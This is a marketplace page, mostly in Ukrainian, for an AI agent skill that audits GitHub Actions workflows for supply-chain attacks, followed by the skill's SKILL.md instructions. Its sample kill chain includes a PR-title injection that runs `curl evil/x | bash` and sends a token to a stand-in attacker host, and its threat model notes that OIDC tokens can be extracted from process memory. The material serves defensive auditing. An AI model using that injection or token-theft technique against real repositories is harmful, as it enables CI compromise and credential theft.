Логотип Audit Github Actions

Audit Github Actions

Спільнота
franky47
audit-github-actions

Audit GitHub Actions workflows for supply-chain and CI/CD security vulnerabilities — script injection, expression injection, token exfiltration, unpinned actions, cache poisoning, and Shai-Hulud-class self-replicating worms. Use when the user asks to audit, review, or check the security of GitHub Actions, workflows, CI/CD pipelines, or asks about supply-chain risk, npm publish security, or Shai-Hulud.

Огляд

Видавецьfranky47
Репозиторійdotfiles
Назва навичкиaudit-github-actions
Зірки
28
Форки
1
Файли в пакеті
8
Посилання
  • Інструкції у форматі Markdown

    Файл SKILL.md, який модель завантажує за потреби, тож токени витрачаються лише тоді, коли запит справді відповідає навичці.

  • Працює з будь-якою LLM

    Навички ШІ — це звичайний Markdown, а не код для певного постачальника, тому вони працюють із GPT, Claude, Gemini, Grok або локальною моделлю.

  • Файлів у комплекті: 8

    Скрипти, шаблони й довідкові матеріали, які модель може читати під час роботи. Файли доступні лише для читання й ніколи не виконуються.

  • Відкритий вихідний код

    Опубліковано на GitHub користувачем franky47. Перегляньте вихідний вміст перед установленням.

Встановлення

Установіть навичку ШІ Audit Github Actions у TypingMind, щоб використовувати її з будь-якою LLM, або додайте її до іншого агента, що читає SKILL.md.

1

Встановити в TypingMind

TypingMind встановлює навичку безпосередньо з її папки GitHub — читає SKILL.md, збирає файли ресурсів у пакет і зберігає результат локально.

  1. Відкрийте застосунок і перейдіть до Плагіни → Навички.
  2. Виберіть «Встановити з GitHub».
  3. Вставте наведений нижче URL папки навички та підтвердьте встановлення.
    https://github.com/franky47/dotfiles/tree/main/dot-claude/skills/audit-github-actions
  4. Увімкніть навичку в кожному чаті, де хочете її використовувати.
Плагіни → Навички → Нова навичка → За URL GitHub, потім вставте URL папки й натисніть «Продовжити».
2

Встановити в іншому агенті

Будь-який агент, що підтримує формат Agent Skills, може використовувати цю навичку — скопіюйте папку до каталогу навичок цього агента.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/franky47/dotfiles.git /tmp/dotfiles
mkdir -p .claude/skills
cp -r /tmp/dotfiles/dot-claude/skills/audit-github-actions .claude/skills/audit-github-actions
Після копіювання перезапустіть Claude Code, щоб завантажити нову навичку.

Використовуйте навичку в TypingMind

Увімкніть навичку Audit Github Actions в будь-якому чаті TypingMind, і далі модель усе зробить сама. Назва й опис навички містяться в системному промпті, а щойно надходить відповідний запит, модель самостійно завантажує повні інструкції — вам не потрібно викликати навичку вручну, і до фактичного використання вона не витрачає токенів.

Модель самостійно завантажує навичку Audit Github Actions, щойно надходить відповідний запит.

Працює з будь-якою моделлю ШІ

Навички ШІ — це звичайні інструкції Markdown, а не код для певного постачальника, тому навичка Audit Github Actions не прив’язана до моделі, для якої її створено. Установіть її один раз у TypingMind і використовуйте з GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama або локальною моделлю, яку ви запускаєте самостійно, — усе з вашими власними ключами API.

  • Завантажується лише за потреби

    Системний промпт містить лише назву й опис. Інструкції завантажуються за першого відповідного запиту, тож невикористана навичка нічого не коштує.

  • Змінюйте моделі під час чату

    Оскільки навичка — це інструкції, а не код, зміна моделі не порушує її роботу: наступна модель читає той самий файл SKILL.md.

Інструкції навички

Це вміст файлу SKILL.md, який завантажує модель. Прочитайте його перед установленням — навичка містить інструкції, яких дотримуватиметься ваша модель.

Audit GitHub Actions

You are auditing public open-source workflows for supply-chain risk. The adversary is a real-world worm operator (Shai-Hulud, Nx s1ngularity, tj-actions, TanStack, qix). Treat every PR field as hostile input, every secret as bait, every third-party action as a potential supply-chain pivot.

Threat model

Modern attacks on public OSS chain together:

  1. Expression injection in privileged triggers — ${{ github.event.* }} from a PR title, comment, or branch name lands in a run: step under pull_request_target / issue_comment / workflow_run. The Nx s1ngularity vector.
  2. Cache poisoning across trust boundaries — a low-privilege pull_request_target workflow writes into a cache scope that a high-privilege release workflow later restores from. permissions: contents: read does not block cache writes (the runner uses an internal token), and OIDC tokens minted with id-token: write are extractable from /proc/<pid>/mem during the privileged run. (TanStack, May 2026).
  3. Compromised third-party actions — tag mutability lets a force-pushed tag silently roll all consumers onto malicious code (tj-actions / reviewdog, March 2025).
  4. Install-time RCE — preinstall / postinstall hooks running before any test or scan. Every npm worm in the catalogue.
  5. Self-propagation — stolen npm token enumerates the maintainer's other packages and republishes them with the same payload (Shai-Hulud, Shai-Hulud 2.0).
  6. CI persistence — malicious .github/workflows/*.yml written into every repo the stolen GITHUB_TOKEN can reach; self-hosted runner registration for ongoing RCE.
  7. Public-by-design exfil — secrets pushed to attacker-owned public repos, victim-owned *-migration repos, or double-base64 into public workflow logs.

Your job is to find the first link in any such chain that exists in this repo, and explain it as a kill chain the user can act on.

Audit flow

Run these steps in order. Steps 2a/2b/2c run in parallel.

  1. Detect audit surface. Enumerate:

    • .github/workflows/*.yml and *.yaml
    • Repo-root action.yml / action.yaml (if the repo publishes an action)
    • For each run: block: scripts invoked via pnpm/npm/yarn/bun run X, bash X.sh, make X, just X → resolve to local files
  2. Run in parallel:

    • 2a. Spawn a sub-agent (Agent tool, general-purpose) for historical & IOC sweep. Brief it with the contents of historical-audit.md. It returns a focused finding list.
    • 2b. Detect deterministic tooling and run any that is installed. See tools.md.
    • 2c. Load the per-surface docs you need (workflows.md, composite-actions.md, scripts.md). Walk the execution graph: read every workflow YAML, then every local file each one transitively references. Terminate the recursion at external binaries on PATH, at third-party action sources, and at network fetches (treat the latter as a finding).
  3. Verify third-party action pin legitimacy. pinact run --check --verify is authoritative — it resolves each uses: owner/repo@<sha> # vX.Y.Z annotation against the GitHub API and flags any SHA that does not match the claimed version. This catches force-pushed tags and pins where the SHA points at a different commit than the comment claims, and it handles annotated-tag dereferencing internally. Run with GITHUB_TOKEN set to avoid rate limits. Mismatch or unpinned = High finding. pinact is a required tool — if it (or zizmor / actionlint) is missing, see tools.md and abort the audit with install instructions rather than skipping this step.

    pinact does not cover two cases — the agent owns these:

    • Pins missing a version-annotation comment. pinact --verify only validates uses: owner/repo@<sha> # vX.Y.Z. Grep the workflow surface for uses: [^#]+@[0-9a-f]{40}\s*$ (no trailing comment) and flag each as Medium — the pin is opaque and cannot be audited without an annotation. Suggest the user add # vX.Y.Z and re-run.
    • Owner liveness / repojacking. Once per unique owner, run curl -sI -o /dev/null -w "%{http_code} %{redirect_url}\n" https://github.com/<owner>. A 404 (namespace unclaimed) or 3xx redirect (owner renamed) means the action is repojackable — see workflows.md §14. Flag even when the pinned SHA still resolves, because future ref bumps are exposed.
  4. Reason holistically. Load the relevant context (the workflow graph, the sub-docs) and synthesize attack paths. Pattern-matching alone misses xz-utils-style multi-stage payloads. Use checklist.md as a prompt for what to look for, incidents.md when an unfamiliar shape looks like a variant of a known attack.

  5. Fold findings. Merge sub-agent + tooling + your own findings. Dedupe (same file:line + same pattern = one finding, multiple sources). Drop low-confidence noise.

  6. Print the report. Severity-first (Critical → High → Medium → Low). For every finding emit:

    • Pattern (one line)
    • Locations (file:line, multiple if applicable)
    • Why it matters (one line, with a real-world incident anchor when one exists)
    • Attacker repro / kill chain (concrete end-to-end steps an attacker takes — attacker forks repo → opens PR titled '\'; curl evil/x | bash #' → workflow lint.yml line 42 interpolates title into run: → token POSTed to evil → token used to republish on npm)
    • Fix (snippet from remediation.md)
    • Source (which input found it: agent / zizmor / actionlint / sub-agent)
    • Refs (links to authoritative docs)
  7. Stop. Do not edit workflows. Do not commit. Do not open PRs. The user decides what to do next.

Anti-noise rules

  • Critical/High = real exploit paths only, with a concrete repro chain. If you cannot describe how an attacker exploits it, downgrade or drop it.
  • Medium/Low go in a single "Additional observations" rollup, terse, no per-finding cards.
  • No padding. No restating absences ("no pull_request_target found, no self-hosted runners found"). If clean, say "No findings" and list the categories that were checked.
  • Format the report naturally. Do not follow a rigid template — convey the fields above however reads best for the findings at hand.

Non-goals

  • No CVE / license / code-quality audit (use npm audit, Socket, Snyk for those).
  • No edits, commits, PRs, or remote mutation (gh api reads only).
  • No recursion into third-party action source code — pin legitimacy is the boundary.
  • No grades / scores / pass-fail. The findings speak for themselves.
  • No false-positive suppression mechanism in v1; every run is independent.

Scope arg

If invoked without args, audit every surface in the repo. If invoked with a file path, audit only that file and its transitive references — but still spawn the historical sub-agent (the IOC sweep is repo-wide and cheap).

If invoked with a GitHub URL (e.g. https://github.com/<owner>/<repo> or git@github.com:<owner>/<repo>.git), audit a fresh clone instead of the current working tree.

Clone target: .audit-github-actions/<slug> under cwd, where <slug> = <owner>__<repo> (lowercase, strip trailing .git, strip any /tree/<ref> first). Use this literal path everywhere — never assign to a shell variable; $VAR expansion forces the rm hook to ask later, breaking AFK runs.

  1. Partial clone, all refs: git clone --filter=blob:none <url> .audit-github-actions/<slug>. No --depth 1 / --single-branch — the IOC sub-agent (step 2a) needs every branch/tag for stale-workflow and git log --all sweeps. --filter=blob:none lazy-loads blobs; grep/log/for-each-ref still work transparently. If the dir already exists from a prior audit, run git -C .audit-github-actions/<slug> fetch --all --prune instead.
  2. If the URL points at /tree/<ref>, after cloning run git -C .audit-github-actions/<slug> checkout <ref>. Keep all other refs.
  3. Run the audit against .audit-github-actions/<slug>. Never cd into the clone — pass the path explicitly (git -C .audit-github-actions/<slug> …, actionlint .audit-github-actions/<slug>/.github/workflows/*.yml). cd path && cmd defeats the per-tool allowlist.
  4. Render file:line paths as repo-relative (strip the .audit-github-actions/<slug>/ prefix). Note git -C .audit-github-actions/<slug> rev-parse HEAD in the report header so the audit is reproducible.
  5. Do not delete the clone. Leave it in place so re-audits can fetch instead of re-clone. The user wipes the cache with rm -rf .audit-github-actions/ themselves; suggest they add .audit-github-actions/ to .gitignore (or ~/.gitignore_global) so it doesn't pollute git status.

Do not push, fetch additional refs beyond what step 1 needs, or write into the clone.

Файли в пакеті

Модель читає ці файли за потреби, поки навичку завантажено. Вони доступні для читання й ніколи не виконуються.

Поширені запитання

Що робить навичка ШІ Audit Github Actions?

Audit GitHub Actions workflows for supply-chain and CI/CD security vulnerabilities — script injection, expression injection, token exfiltration, unpinned actions, cache poisoning, and Shai-Hulud-class self-replicating worms. Use when the user asks to audit, review, or check the security of GitHub Actions, workflows, CI/CD pipelines, or asks about supply-chain risk, npm publish security, or Shai-Hulud.

Навіщо використовувати Audit Github Actions у TypingMind?

Тому що ви встановлюєте її один раз і використовуєте з будь-якою моделлю. Audit Github Actions — це звичайний Markdown, а не код для конкретного постачальника, тому та сама навичка працює з GPT-5, Claude, Gemini, Grok або локальною моделлю. Ви можете змінити модель навіть посеред чату, і навичка продовжить працювати. TypingMind використовує ваші власні ключі API, тож ви платите безпосередньо постачальникам замість передплати за кожне місце користувача, а ваші навички й чати залишаються у вашому сховищі.

Як встановити Audit Github Actions у TypingMind?

Відкрийте в TypingMind Плагіни → Навички → Встановити з GitHub і вставте https://github.com/franky47/dotfiles/tree/main/dot-claude/skills/audit-github-actions. TypingMind прочитає файл SKILL.md, додасть супровідні файли та встановить навичку, яку можна вмикати окремо для кожного чату.

Які моделі ШІ можуть використовувати Audit Github Actions?

Будь-яка модель, яку ви підключите в TypingMind. Навички ШІ — це звичайні інструкції у форматі Markdown, а не код для конкретного постачальника, тому GPT, Claude, Gemini, Grok і локальні моделі можуть завантажувати цю навичку, коли запит їй відповідає.

Зі скількома моделями ШІ можна використовувати Audit Github Actions?

Зі скількома забажаєте. Якщо модель підтримує навички, ви можете використовувати з нею Audit Github Actions — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama та інші — усе в TypingMind із власними ключами API.

Чи безкоштовна навичка ШІ Audit Github Actions?

Навичку опубліковано на GitHub: franky47. Умови ліцензування дивіться в репозиторії. Ви платите лише своєму постачальнику ШІ за використані токени.

Що таке навички ШІ?

Навичка ШІ — це багаторазовий набір інструкцій, який навчає модель ШІ виконувати одне конкретне завдання. Він відповідає відкритому формату Agent Skills: файл SKILL.md із назвою та описом, а також скрипти, шаблони чи довідкові файли, які можуть знадобитися моделі. Модель читає інструкції лише тоді, коли ваш запит відповідає навичці, тому встановлена навичка нічого не коштує, доки її не використано.

Чим навички ШІ відрізняються від плагінів або серверів MCP?

Плагін або сервер MCP надає моделі нові інструменти для виклику — код, який десь виконується й повертає результат. Натомість навичка ШІ надає моделі знання та порядок дій: як підійти до завдання, яких кроків дотримуватися та яким має бути якісний результат. Навички — це звичайний Markdown, тож їм не потрібні ні сервер, ні ключ API, ні середовище виконання, і вони працюють із будь-якою моделлю.

Усі

Створіть власний ШІ-простір уже зараз

Підпишіться на нашу розсилку, щоб дізнаватися про нові функції та майбутні розіграші 👇